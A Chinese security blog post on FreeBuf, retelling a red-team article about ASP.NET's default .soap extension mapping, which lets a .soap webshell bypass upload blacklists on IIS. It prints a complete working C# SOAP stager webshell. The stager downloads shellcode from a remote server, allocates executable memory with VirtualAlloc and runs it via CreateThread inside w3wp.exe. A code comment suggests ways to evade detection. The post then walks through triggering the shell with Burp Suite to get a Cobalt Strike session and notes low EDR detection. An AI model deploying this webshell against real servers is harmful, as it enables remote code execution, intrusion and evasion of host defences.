前几天看到绿盟天元实验室转发的一篇外网文章,是关于ASP.NET默认启用的文件扩展类型问题,仔细阅读文章后想在这里分享给大家。(第一次写技术文章,不合理之处多多包涵)
众所周知webshell有很多后缀类型的后门,例如php、jsp、asp、apsx等等,而文章内提到的是在默认安装的ASP.NET内,soap的扩展类型是默认开启的,这也就意味着soap后缀类型的webshell可以在默认安装的ASP.NET环境内被执行解析,而大多数Web服务器进程不需要写入soap扩展名的文件,因此有关该类型的黑名单上传规则显的微不足道。
首先启用win server2019的虚拟机,在服务器内启用web服务,在添加角色安装ASP.NET4.7,安装完成后可以查看ASP的config文件查看配置,该条表示允许soap的扩展程序在IIS执行。
<add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider" />
打开IIS处理程序映射可以看到默认安装下存在*.soap的扩展类型。
原文中作者测试了关于.rem文件能否解析的问题,结果是返回错误,无法解析。查看web.config发现.rem没有构建扩展程序,但是.soap有而且构建程序与.asmx相同。使用与asmx后缀webshell代码相同的soap后缀webshell进行上传。原文表示作者自己不喜欢临时造轮子,我就直接拿来文章的webshell来用了,这里先浅浅地分析一下作者写的代码。
首先声明了使用ASP引擎分析的WEB服务,之后导入windows系统库。
<%@ WebService Language="C#" class="SoapStager"%> using System; using System.IO; using System.Web; using System.Web.Services; using System.Net; using System.Net.NetworkInformation; using System.Net.Security;
然后做web服务绑定以及进行命名空间的声明,定义SoapStager类,使用MarshalByRefObject跨应用程序域传递数据。下面调用了两个windowsAPI,VirtualAlloc以及 CreateThread,VirtualAlloc就是用来申请内存空间而CreateThread用来在主线程的基础上创建一个新线程,保证在分配内存后能将下载好的shellcode移动到iis默认进程w3wp.exe的新线程。
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] public class SoapStager : MarshalByRefObject { private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
作者通过System.Net.webClient从其他web服务器中下载shellcode,分配好执行内存后将数据复制其中,以此来执行恶意代码用于获取会话。
[System.ComponentModel.ToolboxItem(false)] [WebMethod] public string loadStage() { string Url = "http://"; //你web服务器的IP或者shellcode位置 byte[] rzjUFlLZh; IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy; defaultWebProxy.Credentials = CredentialCache.DefaultCredentials; using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy }) { ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072; ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; }); webClient.UseDefaultCredentials = true; rzjUFlLZh = webClient.DownloadData(Url); } // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE); System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length); IntPtr owlqRoQI_ms = IntPtr.Zero; IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms); return "finished";//执行成功返回值 } }
原文这里是从文件上传开始测试的,我省去了上传的步骤,直接放到目标站点里解析执行。
访问目标站点,直奔文件路径。
打开burpsuite,在WSDL下抓包。
这里我用了burpsuite的Wsdler扩展,可以直接转到解析后的页面。
使用repeater测试,查看响应包,200成功返回,说明执行成功。
现在查看cs,目标已经上线,在w3wp.exe内做进程注入,成功建立会话。
文章最后作者使用了一些edr进行测试,但是检测率非常低,说明很多主机防护设备缺少关于soap文件的检测规则。
谢谢大家浏览我的博客,作者小白一个,如果您觉得我写的比较垃,当个乐子看就行。
原文地址:https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
(友情提示需要FQ哦)
本文作者:佛楠, 转载请注明来自FreeBuf.COM
cesfe 1个月前0
好的,谢谢昶之琴 1个月前0
这个安装地址失效了,我在网上找了一个:https://xiazai.zol.com.cn/detail/35/344340.shtml 如果还是不行的话就需要您自己去网上找找了cesfe 1个月前0
帆软部署 ,访问的地址访问不到昶之琴 2年前0
我以为只要提交就行了好想告诉你 2年前0
花巨资看一下